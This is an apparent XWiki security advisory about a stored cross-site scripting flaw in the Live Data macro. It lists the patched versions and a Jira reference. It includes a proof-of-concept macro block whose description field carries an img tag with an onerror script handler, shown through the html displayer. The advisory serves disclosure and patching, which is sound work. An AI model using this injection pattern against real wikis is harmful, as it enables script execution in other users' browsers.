Description

### Impact A user without script rights can introduce a stored XSS by using the Live Data macro. For instance: ``` {{liveData id="movies" properties="title,description"}} { "data": { "count": 1, "entries": [ { "title": "Meet John Doe", "url": "https://www.imdb.com/title/tt0033891/", "description": "<img onerror='alert(1)' src='foo' />" } ] }, "meta": { "propertyDescriptors": [ { "id": "title", "name": "Title", "visible": true, "displayer": {"id": "link", "propertyHref": "url"} }, { "id": "description", "name": "Description", "visible": true, "displayer": "html" } ] } } {{/liveData}} ``` ### Patches This has been patched in XWiki 14.9, 14.4.7, and 13.10.10. ### Workarounds No known workaround. ### References https://jira.xwiki.org/browse/XWIKI-20143 ### For more information If you have any questions or comments about this advisory: * Open an issue in [Jira](http://jira.xwiki.org/) * Email us at [Security ML](mailto:security@xwiki.org)
